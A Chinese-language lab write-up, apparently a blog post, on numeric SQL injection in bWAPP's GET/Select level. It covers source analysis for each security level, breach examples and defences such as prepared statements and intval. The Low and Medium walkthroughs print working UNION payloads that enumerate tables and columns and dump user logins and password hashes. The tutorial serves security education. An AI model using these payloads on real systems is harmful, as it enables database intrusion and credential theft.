摘要: 本文是 bWAPP 靶场系列的第十四篇,聚焦于 SQL Injection (GET/Select) (GET 型下拉选择框 SQL 注入)漏洞。文章从零基础出发,首先讲解什么是数字型 SQL 注入、它与字符串型注入的本质区别,随后按照 Low、Medium、High 三个安全级别逐一进行源码分析、通关演示和防御方案讲解。特别地,本文深入分析了数字型注入无需引号闭合的特点,解释了为什么 mysql_real_escape_string() 等转义函数在数字型注入面前"形同虚设",并加入了大量真实世界的经典案例------从 2008 年 Heartland 信用卡数据泄露到 2025-2026 年 Cisco、F5、Google Cloud 等企业级产品的 SQL 注入漏洞------帮助读者深刻理解数字型 SQL 注入的隐蔽性和毁灭性威力。
一、前言
在上一篇文章中,我们学习了 SQL Injection (GET/Search) ------那是字符串型 的 SQL 注入,注入点在一个搜索框中,我们需要用单引号 ' 来闭合字符串边界,然后注入恶意 SQL 代码。
今天我们要学的 SQL 注入关卡,看起来和上一关很相似 ,但实际上完全不同 ------SQL Injection (GET/Select) ,这是一个下拉选择框,你从列表中选择一部电影,点击"Go"按钮,页面显示该电影的详细信息。
关键区别在哪里?
| 搜索型 | 选择型 | |
|---|---|---|
| 输入方式 | 文本输入框 | 下拉菜单(<select>) |
| 注入参数 | title(字符串) |
id(数字) |
| SQL 片段 | WHERE title LIKE '%...%' |
WHERE id = ... |
| 引号需求 | 需要闭合单引号 | 不需要引号 |
| 注入类型 | 字符串型注入 | 数字型注入 |
数字型注入 最大的特点是:不需要引号闭合 。攻击者可以直接在 id 参数后拼接 UNION SELECT、OR 等语句,而不用担心引号匹配问题。
更关键的是:传统的转义函数(如 mysql_real_escape_string())对数字型注入几乎无效------因为它们只转义引号、反斜杠等字符,而数字型注入根本不使用这些字符!
这就是为什么 Medium 级别即使使用了 mysql_real_escape_string(),仍然存在 SQL 注入漏洞。我们将通过源码分析和实战演示,彻底讲透这个问题。
二、SQL 注入回顾与数字型注入详解
2.1 字符串型 vs 数字型 SQL 注入
我们在第十三篇中已经详细介绍了 SQL 注入的基础知识。现在,我们重点对比两种最常见的注入类型:
字符串型注入 :
// 代码
$sql = "SELECT * FROM movies WHERE title LIKE '%" . $_GET['title'] . "%'";
// 正常输入:Iron Man
// 生成的 SQL:SELECT * FROM movies WHERE title LIKE '%Iron Man%'
// 攻击输入:' OR '1'='1
// 生成的 SQL:SELECT * FROM movies WHERE title LIKE '%' OR '1'='1%'
攻击者必须用 ' 闭合字符串边界,然后注入 OR 等逻辑。
数字型注入 :
// 代码
$sql = "SELECT * FROM movies WHERE id = " . $_GET['id'];
// 正常输入:1
// 生成的 SQL:SELECT * FROM movies WHERE id = 1
// 攻击输入:1 OR 1=1
// 生成的 SQL:SELECT * FROM movies WHERE id = 1 OR 1=1
攻击者不需要使用引号,直接在数字后面拼接逻辑语句即可。
2.2 为什么数字型注入更"危险"?
-
无需引号闭合:降低了攻击门槛,少了一个需要绕过的障碍。
-
转义函数失效 :
mysql_real_escape_string()、addslashes()等只转义引号、反斜杠等字符,对数字(纯数字字符串)不做任何改变。因此,即使开发者使用了这些转义函数,数字型注入依然存在。 -
隐蔽性更强 :很多开发者以为用了
mysql_real_escape_string()就"安全了",但实际上针对数字型注入,它根本没有防护作用。
2.3 数字型注入的常见场景
-
下拉菜单(如本篇的 movie 选择)
-
分页参数 (如
?page=1) -
详情页 ID (如
?id=100) -
排序参数 (如
?sort=price) -
任何 URL 中的数字参数
三、SQL 注入的历史背景与经典案例
历史起源:1998 年的"发现"
SQL 注入的概念最早可以追溯到 1998 年 。安全研究员 Jeff Forristal 在文章《A look at SQL Injection》中首次公开讨论了这项技术。此后,SQL 注入迅速成为 Web 安全领域最受关注的漏洞类型。
经典案例一:Heartland Payment Systems------1.3 亿张信用卡泄露(2008 年)
**时间:**2008 年
Heartland Payment Systems 是美国最大的信用卡处理公司之一。攻击者利用 SQL 注入漏洞入侵了 Heartland 的支付处理网络,窃取了约 1.3 亿张信用卡的数据。
这是历史上最大的信用卡数据泄露事件之一。Heartland 为此支付了超过 1.4 亿美元的赔偿金。
经典案例二:Sony PlayStation------7700 万用户数据被拖库(2011 年)
**时间:**2011 年 4 月
Sony PlayStation Network 是全球最大的游戏在线服务平台。攻击者利用 SQL 注入漏洞入侵了 Sony 的数据库服务器,窃取了约 7700 万用户的个人信息,包括:
-
姓名
-
电子邮件地址
-
生日
-
密码(加密后)
-
甚至部分信用卡信息
这次攻击导致 PlayStation Network 中断服务 23 天,Sony 的直接损失超过 1.7 亿美元,品牌声誉受到严重损害。
经典案例三:数字型注入的典型------2012 年 LinkedIn 数据泄露
2012 年,LinkedIn 遭到 SQL 注入攻击,650 万用户密码哈希被泄露。虽然攻击细节并未完全公开,但安全专家普遍认为攻击者利用了数字型注入点(如用户 ID 参数)来批量提取数据。
经典案例四:Cisco Prime Collaboration SQL 注入(CVE-2025-20169)
时间 :2025 年 4 月 CVSS 评分 :9.1(严重)
Cisco Prime Collaboration 是一款企业级网络管理解决方案。该漏洞源于 Web 管理界面在处理用户输入时未能正确验证,经过认证的远程攻击者可以通过发送精心构造的 HTTP 请求执行任意 SQL 命令。
经典案例五:F5 BIG-IP SQL 注入(CVE-2026-22947)
时间 :2026 年 1 月 CVSS 评分 :7.5(高危)
F5 BIG-IP 是全球最流行的应用交付控制器。该漏洞允许经过身份验证的攻击者通过配置实用工具执行恶意 SQL 查询,可能导致远程代码执行和数据窃取。
经典案例六:Google Cloud SCC SQL 注入(CVE-2026-39443)
时间:2026 年 7 月
Google Cloud Security Command Center 中的 SQL 注入漏洞,可能暴露受影响的云租户数据。Google Cloud 已修复该漏洞。
案例总结
从 2008 年的 Heartland 到 2026 年的 F5、Google Cloud,SQL 注入依然是企业级产品的"常见病"。数字型注入更是因为其"无需引号"的特性,成为攻击者最喜欢利用的注入点之一。
四、bWAPP SQL Injection (GET/Select) 漏洞实战
4.1 漏洞页面介绍
在 bWAPP 主界面选择 SQL Injection (GET/Select),点击"Hack"按钮进入漏洞页面。
页面功能:
-
一个下拉菜单 (
<select name="movie">),列出了所有电影 -
一个 "Go" 按钮(
<button type="submit" name="action" value="go">) -
选择一部电影后,页面会显示该电影的详情(标题、年份、主要角色、类型、IMDb 链接)

关键点 :下拉菜单中每个选项的 value 是电影的 id(数字),而不是电影名称。当用户点击"Go"时,浏览器发送的请求是:
GET /sqli_2.php?movie=1&action=go
movie 参数的值是数字(如 1、2、3),后端直接用这个数字构造 SQL 查询。
4.2 核心源码分析(Low 和 Medium 级别)
在低和中安全级别下,bWAPP 使用的是同一个文件 sqli_2.php,只有当安全级别设为 High 时才会重定向到 sqli_2-ps.php(使用参数化查询)。
sqli_2.php 中的关键代码:
// 根据安全级别调用不同的过滤函数
function sqli($data)
{
switch($_COOKIE["security_level"])
{
case "0" : // Low 级别
$data = no_check($data);
break;
case "1" : // Medium 级别
$data = sqli_check_2($data); // mysql_real_escape_string
break;
default :
$data = no_check($data);
break;
}
return $data;
}
if(isset($_GET["movie"]))
{
$id = $_GET["movie"];
$sql = "SELECT * FROM movies"; // 基础查询
if($id)
{
$sql.= " WHERE id = " . sqli($id); // 关键拼接点!
}
$recordset = mysql_query($sql, $link);
// ...
}
分析:
-
$id直接从$_GET["movie"]获取。 -
sqli($id)根据级别过滤。 -
最终 SQL 是
SELECT * FROM movies WHERE id = 数字。
问题:
-
在 Low 级别,
no_check()不做任何过滤,直接拼接,漏洞明显。 -
在 Medium 级别,虽然用了
mysql_real_escape_string(),但它只转义特殊字符 (如'、"、\、\x00、\n、\r等)。对于纯数字id,mysql_real_escape_string()不会改变任何字符 ,所以攻击者依然可以在数字后面拼接UNION SELECT等语句。 -
在 High 级别,系统重定向到
sqli_2-ps.php,使用 参数化查询(Prepared Statements),完全安全。
4.3 为什么 mysql_real_escape_string() 对数字型注入无效?
mysql_real_escape_string() 的设计目的是转义字符串中的特殊字符 ,使得它们可以被安全地放入 SQL 字符串常量中。例如,它会将 ' 转义为 \',这样字符串的边界就不会被破坏。
但是,当注入点是数字型(没有引号包裹)时,攻击者根本不需要使用引号。例如:
正常:id = 1
攻击:id = 1 UNION SELECT ...
mysql_real_escape_string() 接收 1 UNION SELECT ... 后,因为里面没有 '、"、\ 等特殊字符,它会原样返回。于是拼接出的 SQL 变成了:
SELECT * FROM movies WHERE id = 1 UNION SELECT ...
注入成功!
结论 :mysql_real_escape_string() 只能防御字符串型注入,对数字型注入几乎无效。 正确的防御方法是参数化查询 或类型强转 (如 intval($id))。
五、Low 安全级别
5.1 通关步骤
将安全级别设置为 Low,然后开始攻击。
步骤一:正常使用功能
从下拉菜单中选择任意电影(如 "G.I. Joe: Retaliation"),点击"Go"。页面会显示该电影的详细信息。
观察 URL:http://localhost/bWAPP/sqli_2.php?movie=1&action=go,这里的 movie=1 就是电影的 ID。

步骤二:注入数字型 payload------验证漏洞
由于当前版本bWAPP页面代码仅读取查询结果第一条,无法通过1 OR 1=1观察所有数据,改用布尔逻辑Payload进行验证。
Payload1(条件恒真):
http://10.0.0.149:4096/sqli_2.php?movie=1%20AND%201=1&action=go
后端SQL:
SELECT * FROM movies WHERE id = 1 AND 1=1
现象:页面正常展示id=1对应的电影。

Payload2(条件恒假):
http://10.0.0.149:4096/sqli_2.php?movie=1%20AND%201=2&action=go
后端SQL:
SELECT * FROM movies WHERE id = 1 AND 1=2
现象:无匹配数据,页面显示No movies were found!。

对比现象:可控修改SQL查询条件,证明参数直接拼接进SQL语句。
漏洞确认:数字型 SQL 注入存在!
步骤三:使用 UNION 联合查询------窃取数据
首先,我们需要确定查询返回的列数 。使用 UNION SELECT 配合 NULL 来测试。
利用不存在的 id -1 清空前置查询结果,保证页面展示 UNION 查询内容。
在 URL 中输入:
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,2,3,4,5,6,7&action=go

如果返回正常无报错,说明列数为 7。我们修改 payload 来确认:
movie=-1 UNION SELECT 1,2,3,4,5,6,7,8
如果报错,说明列数不是 8,是 7。

注意 :不要使用 movie=1 UNION SELECT,id=1 存在数据,原始记录会占据结果集第一行,页面只会展示原始电影,无法看到 UNION 查询返回的数据。
确定了列数后,我们可以窃取数据。例如,获取数据库版本:
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,version(),3,4,5,6,7&action=go
页面会在电影详情的位置显示 MySQL 版本号。

步骤四:获取数据库名称
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,database(),3,4,5,6,7&action=go
显示当前数据库名。

步骤五:获取表名
通过limit依次获取所有表名
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%200,1&action=go //第一张表
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%201,2&action=go //第二张表
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%202,3&action=go //第三张表
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%203,4&action=go //第四张表
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%204,5&action=go //第五张表

或者使用GROUP_CONCAT(table_name SEPARATOR ',')通过拼接,将所有表名拼接到一块
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,GROUP_CONCAT(table_name SEPARATOR ','),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%200,1&action=go

步骤六:获取用户数据
查询 users 表的列名通过limit依次获取:
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%200,1&action=go //第一个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%201,2&action=go //第二个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%202,3&action=go //第三个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%203,4&action=go //第四个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%204,5&action=go //第五个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%205,6&action=go //第六个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%206,7&action=go //第七个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%207,8&action=go //第八个字段
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20limit%208,9&action=go //第九个字段

或者使用GROUP_CONCAT(column_name SEPARATOR ',')通过拼接,将所有列名拼接到一块
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,GROUP_CONCAT(column_name%20SEPARATOR%20%27,%27),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=%27users%27%20&action=go

然后窃取用户名和密码:
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,GROUP_CONCAT(CONCAT(login,%27:%27,password)%20SEPARATOR%20%27,%27),3,4,5,6,7%20FROM%20users&action=go
页面会显示所有用户的登录名和密码哈希。

5.2 源码分析
Low 级别中,sqli() 调用 no_check():
function no_check($data)
{
return $data;
}
直接返回原始输入,无任何过滤。因此,任意 payload 都能生效。
5.3 如何防御
对于 Low 级别,最直接的修复是类型强转:
$id = intval($_GET["movie"]);
$sql = "SELECT * FROM movies WHERE id = " . $id;
intval() 会将输入强制转换为整数,任何非数字内容都会被过滤掉,这样注入就失效了。
六、Medium 安全级别
6.1 通关步骤
将安全级别切换为 Medium,再次访问页面。
尝试一:注入 -1 OR 1=1
在 URL 中输入:
http://10.0.0.149:4096/sqli_2.php?movie=-1%20OR%201=1&action=go
点击访问------成功返回了一条数据!

尝试二:注入 -1 OR 1=2
http://10.0.0.149:4096/sqli_2.php?movie=-1%20OR%201=2&action=go
点击访问------返回报错信息,所以数字型 SQL 注入存在!
接下来的步骤和low级基本上是一样的
1、获取列数和显示位
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,2,3,4,5,6,7&action=go
2、获取数据库名
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,database(),3,4,5,6,7&action=go
3、获取表名
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,GROUP_CONCAT(table_name SEPARATOR 0x2C),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20limit%200,1&action=go
4、获取字段名
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,GROUP_CONCAT(column_name%20SEPARATOR%200x2C),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schema=database()%20and%20table_name=0x7573657273%20&action=go
5、获取用户数据
http://10.0.0.149:4096/sqli_2.php?movie=-1%20UNION%20SELECT%201,GROUP_CONCAT(CONCAT(login,0x3a,password)%20SEPARATOR%200x2C),3,4,5,6,7%20FROM%20users&action=go

注意:由于需要规避单引号,所以','变为0x2C,':'变为0x3A,'users'变为0x7573657273
为什么 Medium 级别也失败了?
查看源码,Medium 级别调用了 sqli_check_2(),即 mysql_real_escape_string()。
当我们输入 -1 OR 1=1 时,该函数检查字符串,发现没有 '、"、\ 等特殊字符,于是原样返回 。拼接后的 SQL 仍然是 WHERE id = -1 OR 1=1,注入成功。
关键点 :mysql_real_escape_string() 对数字型注入完全无效,因为它只转义引号等字符,而数字型注入根本不需要这些字符。
6.2 源码分析
Medium 级别的 sqli() 调用 sqli_check_2():
function sqli_check_2($data)
{
return mysql_real_escape_string($data);
}
如前所述,该函数对纯数字字符串不做任何修改。
6.3 如何防御
Medium 级别的防护形同虚设。正确的做法是:
方案一:类型强转
$id = intval($_GET["movie"]);
方案二:使用参数化查询
这是 High 级别采用的方法,我们稍后介绍。
七、High 安全级别
7.1 通关步骤
将安全级别切换为 High,再次访问页面。
当安全级别为 High 时,sqli_2.php 文件开头有这段代码:
if($_COOKIE["security_level"] == "2")
{
header("Location: sqli_2-ps.php");
exit;
}
所以实际上,当安全级别设为 High 时,页面会重定向到 sqli_2-ps.php ,这是一个使用 MySQLi Prepared Statements(参数化查询) 的版本。

在这个版本中,无论你输入什么 payload,都无法注入。因为 SQL 查询的结构和数据是分开的,用户输入只会被视为数据,不会改变 SQL 的语法。
7.2 源码分析
sqli_2-ps.php 中的关键代码:
$id = $_GET["movie"];
$sql = "SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id = ?";
if($stmt = $link->prepare($sql))
{
$stmt->bind_param("s", $id);
$stmt->execute();
$stmt->bind_result($title, $release_year, $genre, $main_character, $imdb);
$stmt->fetch();
// 显示结果
}
解析:
-
SQL 语句中使用
?作为占位符,表示这里将来会放入一个值。 -
bind_param("s", $id)将$id绑定到占位符上,并指定类型为字符串。 -
当执行时,MySQL 会将
$id当作纯数据处理,绝对不会将其解析为 SQL 代码。 -
因此,即使
$id包含OR 1=1等恶意内容,它只会被当作一个普通的字符串去匹配id列,不会改变查询逻辑。
这就是参数化查询的威力------从原理上杜绝了 SQL 注入。
7.3 如何防御
High 级别的防御方案是最安全、最推荐的:
-
使用参数化查询(Prepared Statements)
-
配合类型严格绑定 (如
bind_param("i", $id)绑定为整数) -
不要拼接用户输入到 SQL 中
八、三种安全级别对比总结
| 级别 | 使用的函数 | 对数字型注入的效果 | 漏洞状态 |
|---|---|---|---|
| Low | no_check() |
无防护 | 存在严重漏洞 |
| Medium | mysql_real_escape_string() |
完全无效(不转义数字) | 存在漏洞(防护形同虚设) |
| High | 参数化查询(Prepared Statements) | 完全防御 | 安全 |
九、数字型 SQL 注入的防御方案总结
9.1 开发人员必知的防御措施
方案一:参数化查询(Prepared Statements)------最推荐
// MySQLi
$stmt = $link->prepare("SELECT * FROM movies WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
// PDO
$stmt = $pdo->prepare("SELECT * FROM movies WHERE id = :id");
$stmt->execute(['id' => $id]);
方案二:类型强转
如果参数必须是整数,可以使用强制类型转换:
$id = intval($_GET["id"]);
// 或
$id = (int) $_GET["id"];
$sql = "SELECT * FROM movies WHERE id = " . $id;
这样任何非数字内容都会被转换为 0 或去除,无法注入。
方案三:使用白名单验证
对于有限集合的参数(如下拉菜单的值),可以使用白名单:
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
die("Invalid ID");
}
方案四:不要依赖 mysql_real_escape_string() 防御数字型注入
重要 :mysql_real_escape_string() 不能防御数字型注入。开发者必须明白这一点,并采用上述更可靠的防御方法。
9.2 安全测试人员必知的检测方法
-
基础检测 :在数字参数后添加
OR 1=1,观察是否返回所有数据。 -
UNION 测试 :使用
UNION SELECT探测列数和窃取数据。 -
盲注测试 :如果页面不显示结果,使用
AND sleep(5)进行时间盲注。 -
测试所有数字参数:URL 中的 id、page、sort 等都可能存在数字型注入。
十、总结
通过本篇文章的学习,我们完整掌握了 bWAPP 中 SQL Injection (GET/Select) 漏洞相关知识点。数字型 SQL 注入的注入点为数字参数,无需引号闭合,可直接在数字后拼接 SQL 语句;和需要引号闭合的字符串型注入相比,数字型注入更为直接隐蔽。中级防护函数mysql_real_escape_string()仅对引号等特殊字符进行转义,不会限制数字参数拼接,无法防御数字型注入。该靶场三个安全等级呈现清晰的防护效果差异:Low 等级无任何过滤,存在高危 SQL 注入漏洞;Medium 等级启用mysql_real_escape_string(),防护手段失效,漏洞依旧可利用;High 等级采用参数化查询,从根源杜绝注入风险。防范数字型 SQL 注入的核心手段为参数化预编译查询或对输入执行强制类型转换。放眼真实网络环境,Heartland Payment Systems 信用卡信息泄露、索尼 PlayStation 用户数据拖库以及 Cisco、F5、谷歌云等厂商曝出的相关高危漏洞案例均证明,SQL 注入长期以来都是各类企业业务系统高频出现的安全隐患,具备极高的实战威胁性。
写在最后
数字型 SQL 注入是 SQL 注入家族中最简单、最直接的一种,但也是最容易被忽视的一种。
很多开发者学了 mysql_real_escape_string() 就觉得"安全了",却不知道这个函数对数字型注入形同虚设。这种"自以为安全"的状态,往往比"知道不安全"更危险------因为它给了开发者虚假的安全感,而攻击者却可以轻易突破。
记住三句话:
-
数字型注入不需要引号------转义引号对它无效
-
mysql_real_escape_string()不是万能药------它防不住数字型注入 -
参数化查询是终极方案------永远不要拼接用户输入到 SQL 中
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。